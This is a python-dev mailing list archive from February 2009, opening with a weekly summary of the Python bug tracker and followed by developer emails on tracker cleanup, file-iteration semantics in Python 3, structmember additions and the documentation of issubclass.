SUMMARY (02/06/09 - 02/13/09) Python tracker at http://bugs.python.org/ To view or respond to any of the issues listed below, click on the issue number. Do NOT respond to this message. 2352 open (+56) / 14720 closed (+22) / 17072 total (+78) Open issues with patches: 803 Average duration of open issues: 682 days. Median duration of open issues: 423 days. Open Issues Breakdown open 2328 (+55) pending 24 ( +1) Issues Created Or Reopened (82) _______________________________ Separate build dir broken 02/12/09 http://bugs.python.org/issue4151 reopened doko patch Disabling test_ttk_guionly on mac 02/09/09 http://bugs.python.org/issue5120 reopened gpolo patch Default hash not equal to id on AMD Sempron 02/09/09 http://bugs.python.org/issue5169 reopened jcea python-dev tracker summary emails contain incorrect "median dura 02/06/09 CLOSED http://bugs.python.org/issue5172 created exarkun "What's new" claims StandardError was removed in 2.6 02/06/09 CLOSED http://bugs.python.org/issue5173 created mjwpp xmlrpclib docs include incorrect file closing 02/06/09 CLOSED http://bugs.python.org/issue5174 created ironfroggy patch negative PyLong -> C unsigned integral, TypeError or OverflowErr 02/06/09 CLOSED http://bugs.python.org/issue5175 created dalcinl patch Special-case string formatting in BINARY_MODULO implementation 02/06/09 http://bugs.python.org/issue5176 created collinwinter patch, patch, needs review multiprocessing: SocketListener should use SO_REUSEADDR 02/07/09 http://bugs.python.org/issue5177 created jon_dee Add context manager for temporary directory 02/07/09 http://bugs.python.org/issue5178 created nascheme patch subprocess leaves open fds on construction error 02/07/09 http://bugs.python.org/issue5179 created georg.brandl 3.1 cannot unpickle 2.7-created pickle 02/07/09 http://bugs.python.org/issue5180 created pitrou test_urllib failures on the 3.1 buildbots 02/08/09 CLOSED http://bugs.python.org/issue5181 reopened benjamin.peterson str() on memoryview of bytearray failing on py3k 02/08/09 CLOSED http://bugs.python.org/issue5182 created mhammond wsgiref.simple_server not working 02/08/09 CLOSED http://bugs.python.org/issue5183 created StephenDay Add -3 warning for extension types that implement tp_compare but 02/08/09 http://bugs.python.org/issue5184 created marketdickinson Idle doesn't work on 2.6 on Macbook 02/08/09 CLOSED http://bugs.python.org/issue5185 created jeaub23 Reduce hash collisions for objects with no __hash__ method 02/08/09 CLOSED http://bugs.python.org/issue5186 created marketdickinson patch distutils upload should prompt for the user/password too 02/08/09 http://bugs.python.org/issue5187 created tarek telnetlib process_rawq buffer handling is confused 02/08/09 http://bugs.python.org/issue5188 created dugan patch test_cmd_line failure on the OS X buildbot 02/09/09 CLOSED http://bugs.python.org/issue5189 created pitrou optparse doex not export make_option 02/09/09 http://bugs.python.org/issue5190 created bluebird Partial function application 'from the right' 02/09/09 http://bugs.python.org/issue5191 created bennorth patch Update log message formatting. 02/09/09 http://bugs.python.org/issue5192 created LambertDW Guarantee that Tkinter.Text.search returns a string 02/09/09 http://bugs.python.org/issue5193 created gpolo patch OS X IDLE.app and bin/idle: missing/extra menu options 02/10/09 http://bugs.python.org/issue5194 created nad OS X IDLE.app and bin/idle: incorrect key defaults in 3.x 02/10/09 CLOSED http://bugs.python.org/issue5195 created nad OS X IDLE.app: may not launch on 3.x 02/10/09 CLOSED http://bugs.python.org/issue5196 created nad vars() assignment fails silently when assignments made later 02/10/09 CLOSED http://bugs.python.org/issue5197 created pest Strange DeprecationWarning behaviour in module struct 02/10/09 http://bugs.python.org/issue5198 created hagen warns vars() assignment as well as locals() 02/10/09 http://bugs.python.org/issue5199 created ocean-city patch unicode.normalize gives wrong result for some characters 02/10/09 CLOSED http://bugs.python.org/issue5200 created PeterL Using LDFLAGS='-rpath=\$$LIB:/some/other/path' ./configure break 02/10/09 http://bugs.python.org/issue5201 created flub wave.py cannot write wave files into a shell pipeline 02/10/09 http://bugs.python.org/issue5202 created drj patch ctypes segfaults when passing a unicode string to a function wit 02/10/09 CLOSED http://bugs.python.org/issue5203 created amaury.forgeotdarc test.os/TestInvalidFD/test_fdopen on VC6 02/10/09 CLOSED http://bugs.python.org/issue5204 created ocean-city patch String Formatting with namedtuple 02/10/09 http://bugs.python.org/issue5205 created lieryan with context object for unittest assertRaises() 02/10/09 CLOSED http://bugs.python.org/issue5206 created blais extend strftime/strptime format for RFC3339 and RFC2822 02/10/09 http://bugs.python.org/issue5207 created davydov urllib2.build_opener( 02/10/09 http://bugs.python.org/issue5208 created mjb nntplib needs updating to RFC 3977 02/10/09 http://bugs.python.org/issue5209 created travis patch zlib does not indicate end of compressed stream properly 02/10/09 http://bugs.python.org/issue5210 created travis patch Fix complex type to avoid coercion in 2.7. 02/10/09 http://bugs.python.org/issue5211 created marketdickinson easy Incorrect note about md5 in hmac module documentation 02/11/09 http://bugs.python.org/issue5212 created brainsik _resolve_name in importlib/__init__.py left an index on rindex u 02/11/09 http://bugs.python.org/issue5213 created gpolo patch, easy Add KOI8-RU as a known encoding 02/11/09 http://bugs.python.org/issue5214 created dwayne change value of local variable in debug 02/11/09 http://bugs.python.org/issue5215 created mproeller distutils.tests.test_build_ext.BuildExtTestCase fails when srcdi 02/11/09 http://bugs.python.org/issue5216 created doko testExtractDir (test.test_zipfile.TestWithDirectory) fails when 02/11/09 http://bugs.python.org/issue5217 created doko Check for tp_iter in ceval:ext_do_call before overriding excepti 02/11/09 http://bugs.python.org/issue5218 created gpolo patch IDLE: slowness, pauses enter long strings 02/11/09 http://bugs.python.org/issue5219 created pyJohn os.makedirs' mode argument has bad default value 02/11/09 CLOSED http://bugs.python.org/issue5220 created jab help related topic doesn't exist 02/11/09 http://bugs.python.org/issue5221 created LambertDW Please include AutoScroll and create_container in pyttk and Tkin 02/12/09 CLOSED http://bugs.python.org/issue5222 created rozen infinite recursion in PyErr_WriteUnraisable 02/12/09 http://bugs.python.org/issue5223 created ldeller OS X installer: "Update Shell Profile" script is not updated 02/12/09 http://bugs.python.org/issue5224 reopened ronaldoussoren OS X "Update Shell Profile" may not update $PATH if run more tha 02/12/09 http://bugs.python.org/issue5225 created nad OS X installer: Welcome and Readme files are out-of-date 02/12/09 http://bugs.python.org/issue5226 reopened ronaldoussoren Py_Main() does not return on sys.exit() 02/12/09 http://bugs.python.org/issue5227 created Rogi multiprocessing not compatible with functools.partial 02/12/09 http://bugs.python.org/issue5228 created ndbecker Documentation for super() neglects to say what super() actually 02/12/09 http://bugs.python.org/issue5229 created stutzbach pydoc reports misleading failure if target module raises an Impo 02/12/09 http://bugs.python.org/issue5230 created exarkun Change format of a memoryview 02/12/09 http://bugs.python.org/issue5231 created pitrou Setting font from preference dialog in IDLE on OS X broken 02/12/09 http://bugs.python.org/issue5232 created MLModel Enhance 2.7 IDLE to exec IDLESTARTUP/PYTHONSTARTUP on restart 02/12/09 http://bugs.python.org/issue5233 created MLModel patch Enhance 3.1 IDLE to exec IDLESTARTUP/PYTHONSTARTUP on restart 02/12/09 http://bugs.python.org/issue5234 created MLModel patch distutils seems to only work with VC++ 2008 (9.0) 02/12/09 http://bugs.python.org/issue5235 created eswenson time.strptime should reject bytes arguments on Py3 02/12/09 http://bugs.python.org/issue5236 created ezio.melotti Allow auto-numbered replacement fields in str.format() strings 02/12/09 http://bugs.python.org/issue5237 created tjreedy ssl makefile never closes socket 02/13/09 http://bugs.python.org/issue5238 created dugan patch Change time.strptime() to make it work with Unicode chars 02/13/09 http://bugs.python.org/issue5239 created ezio.melotti patch time.strptime fails to match data and format with Unicode whites 02/13/09 CLOSED http://bugs.python.org/issue5240 created ezio.melotti Missing flags in the Regex howto 02/13/09 http://bugs.python.org/issue5241 created ezio.melotti eval() function in List Comprehension doesn't work 02/13/09 http://bugs.python.org/issue5242 created JiafeiPeng Missing dependency in distutils build 02/13/09 http://bugs.python.org/issue5243 created do3cc patch Python 3.0 eval() function in List Comprehension doesn't work 02/13/09 CLOSED http://bugs.python.org/issue5244 created JiafeiPeng PyRun_SimpleStringFlags() documentation 02/13/09 http://bugs.python.org/issue5245 created Rogi test.test_hashlib.HashLibTestCase fails on darwin 02/13/09 CLOSED http://bugs.python.org/issue5246 created tarek Unhelpful error message with str.format() 02/13/09 http://bugs.python.org/issue5247 created pitrou Adding T_SIZET to structmember.h 02/13/09 http://bugs.python.org/issue5248 created dalcinl Fix strftime on windows. 02/13/09 http://bugs.python.org/issue5249 created ocean-city patch socket.inet_aton returns 8 bytes on LP64 platforms 02/10/09 http://bugs.python.org/issue1008086 reopened pitrou 64bit, easy Issues Now Closed (98) ______________________ complex constructor loses signs of zeros 442 days http://bugs.python.org/issue1507 marketdickinson webbrowser.open firefox 3 issues 385 days http://bugs.python.org/issue1911 georg.brandl patch, easy shutil.destinsrc returns wrong result when source path matches b 366 days http://bugs.python.org/issue2047 orsenthil patch, easy Make structseq more like collections.namedtuple 331 days http://bugs.python.org/issue2308 ajaksu2 Fixed block ordering code in compiler.pyassem 319 days http://bugs.python.org/issue2472 pitrou patch 2to3 doesn't correct divisions 278 days http://bugs.python.org/issue2805 benjamin.peterson re.IGNORECASE not Unicode-ready 277 days http://bugs.python.org/issue2834 ezio.melotti patch importing with_statement causes exec to raise syntax error on bl 210 days http://bugs.python.org/issue3370 ajaksu2 [PATCH] distutils.sysconfig.get_python_lib prefix argument broke 209 days http://bugs.python.org/issue3386 tarek patch Undetected error in _struct.pack_into 170 days http://bugs.python.org/issue3694 marketdickinson patch SystemError on calling len() if __len__() doesn't return an int 165 days http://bugs.python.org/issue3729 benjamin.peterson patch subclassing complex 168 days http://bugs.python.org/issue3734 georg.brandl patch _sha256 et al. encode to UTF-8 by default 165 days http://bugs.python.org/issue3745 gregory.p.smith 26backport python-2.6b3.msi and python-2.6b3.amd64.msi can't both be instal 154 days http://bugs.python.org/issue3833 gpolo Script: find untested C functions 152 days http://bugs.python.org/issue3844 ajaksu2 removed string and type usage from distutils.cmd [patch] 132 days http://bugs.python.org/issue3986 tarek patch Regression for executing packages 106 days http://bugs.python.org/issue4195 ncoghlan patch should socket readline() use default_bufsize instead of _rbufsiz 75 days http://bugs.python.org/issue4448 krisvale Add get_filename method to zipimport 66 days http://bugs.python.org/issue4512 ncoghlan patch Py_IS_INFINITY defect causes test_cmath failure on x86 64 days http://bugs.python.org/issue4575 marketdickinson patch urlopen returns extra, spurious bytes 62 days http://bugs.python.org/issue4631 pitrou patch Update pybench for python 3.0 49 days http://bugs.python.org/issue4704 pitrou patch PyInt_FromSsize_t LONG_MIN and LONG_MAX typecasts needed 34 days http://bugs.python.org/issue4880 marketdickinson handling empty text search pattern in tkinter 31 days http://bugs.python.org/issue4890 gpolo patch Docs for urllib.request.HTTPRedirectHandler.redirect_request mis 35 days http://bugs.python.org/issue4894 georg.brandl patch, easy Remove uses of nb_long slot, and rename to nb_reserved. 32 days http://bugs.python.org/issue4910 marketdickinson patch __slots__ on Fraction is useless 24 days http://bugs.python.org/issue4998 marketdickinson patch itertools.count step 21 days http://bugs.python.org/issue5032 LambertDW test_tcl and test_ttk_guionly don't like each other 9 days http://bugs.python.org/issue5122 gpolo patch compileall: consider ctime 7 days http://bugs.python.org/issue5128 brett.cannon patch Compiler warnings in sqlite module 8 days http://bugs.python.org/issue5134 loewis patch SystemError when __len__ returns a non-number 7 days http://bugs.python.org/issue5137 hagen patch File Reload for IDLE 8 days http://bugs.python.org/issue5138 rhettinger OS X: Py_SetProgramName argument has type char*; should be wchar 9 days http://bugs.python.org/issue5143 ronaldoussoren IDLE exits with UnicodeDecodeError on Ctrl+Space 3 days http://bugs.python.org/issue5156 gpolo Document distutils 'depends' option for extensions 8 days http://bugs.python.org/issue5158 tarek patch Intermittant segmentation fault with ctrl-c (threads and queues) 3 days http://bugs.python.org/issue5160 ocean-city logging to file + encoding 2 days http://bugs.python.org/issue5170 vsajip itertools.product docstring missing 'repeat' argument 3 days http://bugs.python.org/issue5171 rhettinger python-dev tracker summary emails contain incorrect "median dura 0 days http://bugs.python.org/issue5172 benjamin.peterson "What's new" claims StandardError was removed in 2.6 0 days http://bugs.python.org/issue5173 georg.brandl xmlrpclib docs include incorrect file closing 1 days http://bugs.python.org/issue5174 georg.brandl patch negative PyLong -> C unsigned integral, TypeError or OverflowErr 4 days http://bugs.python.org/issue5175 marketdickinson patch test_urllib failures on the 3.1 buildbots 0 days http://bugs.python.org/issue5181 krisvale str() on memoryview of bytearray failing on py3k 0 days http://bugs.python.org/issue5182 benjamin.peterson wsgiref.simple_server not working 0 days http://bugs.python.org/issue5183 georg.brandl Idle doesn't work on 2.6 on Macbook 0 days http://bugs.python.org/issue5185 benjamin.peterson Reduce hash collisions for objects with no __hash__ method 5 days http://bugs.python.org/issue5186 pitrou patch test_cmd_line failure on the OS X buildbot 0 days http://bugs.python.org/issue5189 benjamin.peterson OS X IDLE.app and bin/idle: incorrect key defaults in 3.x 3 days http://bugs.python.org/issue5195 ronaldoussoren OS X IDLE.app: may not launch on 3.x 3 days http://bugs.python.org/issue5196 ronaldoussoren vars() assignment fails silently when assignments made later 0 days http://bugs.python.org/issue5197 ocean-city unicode.normalize gives wrong result for some characters 1 days http://bugs.python.org/issue5200 loewis ctypes segfaults when passing a unicode string to a function wit 0 days http://bugs.python.org/issue5203 theller test.os/TestInvalidFD/test_fdopen on VC6 1 days http://bugs.python.org/issue5204 ocean-city patch with context object for unittest assertRaises() 0 days http://bugs.python.org/issue5206 rhettinger os.makedirs' mode argument has bad default value 0 days http://bugs.python.org/issue5220 jab Please include AutoScroll and create_container in pyttk and Tkin 0 days http://bugs.python.org/issue5222 loewis time.strptime fails to match data and format with Unicode whites 0 days http://bugs.python.org/issue5240 ocean-city Python 3.0 eval() function in List Comprehension doesn't work 0 days http://bugs.python.org/issue5244 georg.brandl test.test_hashlib.HashLibTestCase fails on darwin 0 days http://bugs.python.org/issue5246 pitrou re incompatibility in sre 3076 days http://bugs.python.org/issue214033 ajaksu2 [IDLE] auto indent/parentheses 2908 days http://bugs.python.org/issue404444 ajaksu2 xdrlib allow subclass for file access 2703 days http://bugs.python.org/issue461890 loewis Creation of struct_seq types 2307 days http://bugs.python.org/issue624827 rhettinger print to unicode stream should __unicode 2284 days http://bugs.python.org/issue637094 lemburg GNU readline version confusion 2236 days http://bugs.python.org/issue660095 haypo extend readline functionality in pdb 2193 days http://bugs.python.org/issue684944 benjamin.peterson patch lower-level API for longs 2127 days http://bugs.python.org/issue722647 marketdickinson socket.inet_aton on 64bit platform 2046 days http://bugs.python.org/issue767150 gregory.p.smith 64bit button methods tkButtonDown, etc don't work 2030 days http://bugs.python.org/issue775309 gpolo new function 'islastline' in fileinput 2031 days http://bugs.python.org/issue776100 ajaksu2 socketmodule.c connection handling incorect on windows 2030 days http://bugs.python.org/issue777597 ajaksu2 Minor FP bug in object.c 2004 days http://bugs.python.org/issue789290 marketdickinson patch test_locale and en_US 1962 days http://bugs.python.org/issue815668 ajaksu2 fcntl() not working on sparc/linux (python 2.2.3) 1951 days http://bugs.python.org/issue821948 loewis getpos() for sgmllib 1869 days http://bugs.python.org/issue868908 ajaksu2 email.Header.Header() produces wrong headers with utf8 enc. 1779 days http://bugs.python.org/issue924806 barry threads duplicated on fork() prevent child from terminating 1666 days http://bugs.python.org/issue994023 benjamin.peterson Compiler module doesn't handle global statement correctly 1655 days http://bugs.python.org/issue999042 nascheme PEP 263: help locating the offending character 1649 days http://bugs.python.org/issue1004533 loewis distutils.core.setup() with unicode arguments broken 1534 days http://bugs.python.org/issue1076233 doerwalter raw_input problem with readline and UTF8 1486 days http://bugs.python.org/issue1103023 benjamin.peterson email.base64MIME.header_encode vs RFC 1522 1486 days http://bugs.python.org/issue1103926 ajaksu2 marshal may crash on truncated input 1457 days http://bugs.python.org/issue1122301 benjamin.peterson New fpconst module 1447 days http://bugs.python.org/issue1151323 marketdickinson patch explicit sign variable for longs 1406 days http://bugs.python.org/issue1177779 loewis patch csv.reader endless loop 1154 days http://bugs.python.org/issue1381476 ajaksu2 random module - Provider DLL failed to initialize correctly 1149 days http://bugs.python.org/issue1384175 loewis libpython2.4.so get not installed 1131 days http://bugs.python.org/issue1397850 loewis re search infinite loop 1064 days http://bugs.python.org/issue1448325 mrabarnett urllib2 httplib _read_chunked timeout 919 days http://bugs.python.org/issue1537445 georg.brandl python compiler support for with stmt 900 days http://bugs.python.org/issue1544277 nascheme RE (regular expression) matching stuck in loop 867 days http://bugs.python.org/issue1566086 mrabarnett incomplete numerical comparisons 762 days http://bugs.python.org/issue1633648 marketdickinson base64.urlsafe_b64encode() shouldn't use the = character 728 days http://bugs.python.org/issue1661108 georg.brandl tkinter memory leak problem 612 days http://bugs.python.org/issue1731706 gpolo patch repr of 'nan' floats not parseable 615 days http://bugs.python.org/issue1732212 loewis Top Issues Most Discussed (10) ______________________________ 41 Reduce hash collisions for objects with no __hash__ method 5 days closed http://bugs.python.org/issue5186 11 wave.py cannot write wave files into a shell pipeline 3 days open http://bugs.python.org/issue5202 11 test_tcl and test_ttk_guionly don't like each other 9 days closed http://bugs.python.org/issue5122 10 Change time.strptime() to make it work with Unicode chars 1 days open http://bugs.python.org/issue5239 10 Allow auto-numbered replacement fields in str.format() strings 1 days open http://bugs.python.org/issue5237 9 unicode.normalize gives wrong result for some characters 1 days closed http://bugs.python.org/issue5200 9 negative PyLong -> C unsigned integral, TypeError or OverflowEr 4 days closed http://bugs.python.org/issue5175 9 _sha256 et al. encode to UTF-8 by default 165 days closed http://bugs.python.org/issue3745 8 HTTPResponse instance has no attribute 'fileno' 1216 days open http://bugs.python.org/issue1327971 7 urllib doesn't correct server returned urls 1794 days open http://bugs.python.org/issue918368 From ajaksu at gmail.com Fri Feb 13 20:09:05 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Fri, 13 Feb 2009 17:09:05 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> Message-ID: <2d75d7660902131109o2cdb85der516f1397492dce91@mail.gmail.com> Daniel (ajax) Diniz wrote: > "Martin v. L?wis" wrote: >> I think HTML scraping is a really bad idea. What is it that you >> specifically want to do with these data? > > For starters, free form searches, aggregation and filtering of > results. The web interface is pretty good for handling individual > issues, but not so good for adding someone as nosy to lots of issues. I should have thought of this earlier: I'm downloading A CSV file (displaying all fields) with all issues and will insert that into a DB (maybe through my local tracker instance). Thanks for asking the 'think about it' question! :) Daniel From ajaksu at gmail.com Fri Feb 13 20:36:54 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Fri, 13 Feb 2009 17:36:54 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> <87zlgrrxr3.fsf@xemacs.org> <2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com> Message-ID: <2d75d7660902131136i702698d7h7cbda7d2bd6b6a79@mail.gmail.com> Brett Cannon wrote: > On Thu, Feb 12, 2009 at 16:45, Daniel (ajax) Diniz wrote: >> I have to test my patch against a good >> representation of the issue, regression tests must pass, 'automated >> test needed' fits well :) > > Go with "Unit test needed" so it's short and to the point and you have a deal. =) I don't think a real name change is necessary, the help from clicking on 'Stage' says it. Your explanation at https://docs.google.com/Doc?id=dg7fctr4_51cbt2vktw makes it crystal clear. Also, I've realized just now that 'Status: pending' covers both my 'will close unless someone objects' and 'cannot tell if this ancient bug on a antediluvian platform still exists' rather well. So I'll be setting such issues as pending from now on. I'll try to find a way to display the help tips inline, perhaps on selection or hover (has to be unobtrusive). That would be helpful for stages, components and versions (I think users should know that 2.5 is in security-fix-only mode and that feature requests need latest version + 1). Status report and roadmap to be posted later today, before date +%s turns 1234567890 :) Daniel From ajaksu at gmail.com Fri Feb 13 20:54:53 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Fri, 13 Feb 2009 17:54:53 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <4994FEBF.3040700@holdenweb.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> <87zlgrrxr3.fsf@xemacs.org> <2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com> <4994FEBF.3040700@holdenweb.com> Message-ID: <2d75d7660902131154r17286417n4e01dc26c416ccb@mail.gmail.com> Steve Holden wrote: > Can I just say (without in any way wanting to get involved in what might > be considered as "work") that it's encouraging the tracker received a > bit more TLC we might eventually be able to see at least the occasional > week where the issue count increment was negative :) That would be cool. It's also a shiny goal that can be used on a call-for-help later on the cleanup road. > So thanks to everyone who's taking the time to deal with this > low-profile not-very-glamorous issue. I, for one, appreciate it. For my part, glad to help. And thanks to all developers, issue reporters and cleanup supporters that are making this work :) tlc'ing-got-me-punched-in-the-face-before-so-this-one-is-a-breeze-ly y'rs Daniel From python at rcn.com Fri Feb 13 22:12:26 2009 From: python at rcn.com (Raymond Hettinger) Date: Fri, 13 Feb 2009 13:12:26 -0800 Subject: [Python-Dev] Wow! Message-ID: http://www.latimes.com/news/science/la-sci-satellite-collision15-2009feb15,0,7901281.story From kirklin.mcdonald at gmail.com Fri Feb 13 22:38:33 2009 From: kirklin.mcdonald at gmail.com (Kirk McDonald) Date: Fri, 13 Feb 2009 13:38:33 -0800 Subject: [Python-Dev] Wow! In-Reply-To: References: Message-ID: <25bd58d10902131338g124154efie14c17e3f4ffc5e3@mail.gmail.com> http://en.wikipedia.org/wiki/Kessler_Syndrome On Fri, Feb 13, 2009 at 1:12 PM, Raymond Hettinger wrote: > > http://www.latimes.com/news/science/la-sci-satellite-collision15-2009feb15,0,7901281.story > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/kirklin.mcdonald%40gmail.com > -------------- next part -------------- An HTML attachment was scrubbed... URL: From MLMLists at Comcast.net Fri Feb 13 23:51:00 2009 From: MLMLists at Comcast.net (Mitchell L Model) Date: Fri, 13 Feb 2009 17:51:00 -0500 Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? Message-ID: I discovered today that Python 2's prohibition against performing readlines on a file being iterated over appears to have been lifted in Python 3. Is this intentional? If it is, should it be added to the What's New in the documentation? I haven't been able to find anything mentioning the change. with open("lines.txt") as fil: for line in fil: print(line[:-1]) print(fil.readline()) produces a runtime error in 2.5 and 2.6 but not in 3.0 or 3.1 (and the output is as expected). Also, I was surprised that nested "for line in file" that use the same file cause no problems in Python 2.5, 2.6, 3.0, or 3.1. with open("lines.txt") as fil: for line1 in fil: print(line1) if line1[0] == '1': for line2 in fil: print(line2[:-1]) if line2[0] == '2': break I would have expected the "for line in file" iterator to get confused by the file position having been moved out from under it, but I suppose all it has to do is just more readlines from wherever the file pointer is when it regains control. I mention this because apart from implementation considerations any reasoning that would discourage one from mixing line iterations with readlines might leave one thinking that nested line iterations wouldn't work either. But if it is intended that Python 3 allow mixing readlines with line iterations, there would be much less reason to suspect nested line iterations. -------------- next part -------------- An HTML attachment was scrubbed... URL: From martin at v.loewis.de Sat Feb 14 00:28:07 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Sat, 14 Feb 2009 00:28:07 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> Message-ID: <49960207.3070507@v.loewis.de> > For starters, free form searches, aggregation and filtering of > results. What is "free form searches" (example)? What is aggregation? What results do you want to filter? (roundup can already filter results quite well) > The web interface is pretty good for handling individual > issues, but not so good for adding someone as nosy to lots of issues. Please consider contributing a mass-update template then, perhaps based on search results, with check boxes to include or exclude individual issues from the mass update. Regards, Martin From martin at v.loewis.de Sat Feb 14 00:31:32 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Sat, 14 Feb 2009 00:31:32 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902122234g46acc245l5dd7e0052ccd2c2e@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <2d75d7660902122234g46acc245l5dd7e0052ccd2c2e@mail.gmail.com> Message-ID: <499602D4.8020104@v.loewis.de> > Send emails before they were done :D Again: what's that? > Use a VCS for in-progress activities Hmm. Why do you need a database copy for that? > Figure out how to serialize and submit the work done locally Again, don't understand. too brief. > Share results with interested parties off-tracker (e.g., the > auto-nosy mentioned up-thread) The tracker already has auto-assignments based on components. > Right now, more efficient searching and aggregation along with some > (local, flexible) UI tweaks sum it up. Efficient in what way? > Maybe I can offer a patch for something like PyPI's 'simple' interface? Please, no. Contribute the interface you want locally instead as a feature for all users of the tracker. Regards, Martin From martin at v.loewis.de Sat Feb 14 01:35:50 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Feb 2009 01:35:50 +0100 Subject: [Python-Dev] Adding T_SIZET to structmember.h In-Reply-To: References: <5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com> Message-ID: <499611E6.1020104@v.loewis.de> > Mark, the patch is not trivial, I cannot spend time on this until this > is accepted. Hope you understand. I certainly do understand. So it's likely not going to happen. Regards, Martin From greg.ewing at canterbury.ac.nz Sat Feb 14 02:27:29 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sat, 14 Feb 2009 14:27:29 +1300 Subject: [Python-Dev] Small misleadingness in docs Message-ID: <49961E01.7000109@canterbury.ac.nz> I've discovered something slightly misleading in the docs for PyObject_IsInstance: When testing if B is a subclass of A, if A is B, PyObject_IsSubclass returns true. If A and B are different objects, B?s __bases__ attribute is searched... This suggests that issubclass(A, A) will always be true, regardless of what attributes A has. However, this turns out not to be so -- A must also have a __bases__ attribute, otherwise it's rejected as not being sufficiently class-like. -- Greg From python at rcn.com Sat Feb 14 02:40:19 2009 From: python at rcn.com (Raymond Hettinger) Date: Fri, 13 Feb 2009 17:40:19 -0800 Subject: [Python-Dev] Small misleadingness in docs References: <49961E01.7000109@canterbury.ac.nz> Message-ID: [Greg Ewing] > I've discovered something slightly misleading in the docs > for PyObject_IsInstance: > > When testing if B is a subclass of A, if A is B, PyObject_IsSubclass > returns true. If A and B are different objects, B?s __bases__ > attribute is searched... > > This suggests that issubclass(A, A) will always be true, > regardless of what attributes A has. However, this turns > out not to be so -- A must also have a __bases__ attribute, > otherwise it's rejected as not being sufficiently class-like. This smells like a bug that brings issubclass() out of sync with isinstance(). Perhaps issubclass() should do what the docs say and start by testing whether A and B are the same object. Raymond From brett at python.org Sat Feb 14 02:45:43 2009 From: brett at python.org (Brett Cannon) Date: Fri, 13 Feb 2009 17:45:43 -0800 Subject: [Python-Dev] Wow! In-Reply-To: References: Message-ID: Is there a Python connection I'm missing? On Fri, Feb 13, 2009 at 13:12, Raymond Hettinger wrote: > > http://www.latimes.com/news/science/la-sci-satellite-collision15-2009feb15,0,7901281.story > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/brett%40python.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From greg.ewing at canterbury.ac.nz Sat Feb 14 03:07:25 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sat, 14 Feb 2009 15:07:25 +1300 Subject: [Python-Dev] Small misleadingness in docs In-Reply-To: References: <49961E01.7000109@canterbury.ac.nz> Message-ID: <4996275D.1070607@canterbury.ac.nz> Raymond Hettinger wrote: > This smells like a bug that brings issubclass() out of sync with > isinstance(). No, it affects both isinstance() and issubclass(). They both raise a TypeError if the purported class object doesn't have a __bases__ attribute that is a tuple. This isn't necessarily wrong, but perhaps the docs could be re-worded slightly to make this clearer. Another thing is that this whole paragraph only appears in the Python/C API reference, not in the docs for the Python isinstance and issubclass functions, where the docs imply that only genuine class or type objects are accepted. And nowhere does it mention that __bases__ must be a tuple. -- Greg From greg.ewing at canterbury.ac.nz Sat Feb 14 03:14:52 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sat, 14 Feb 2009 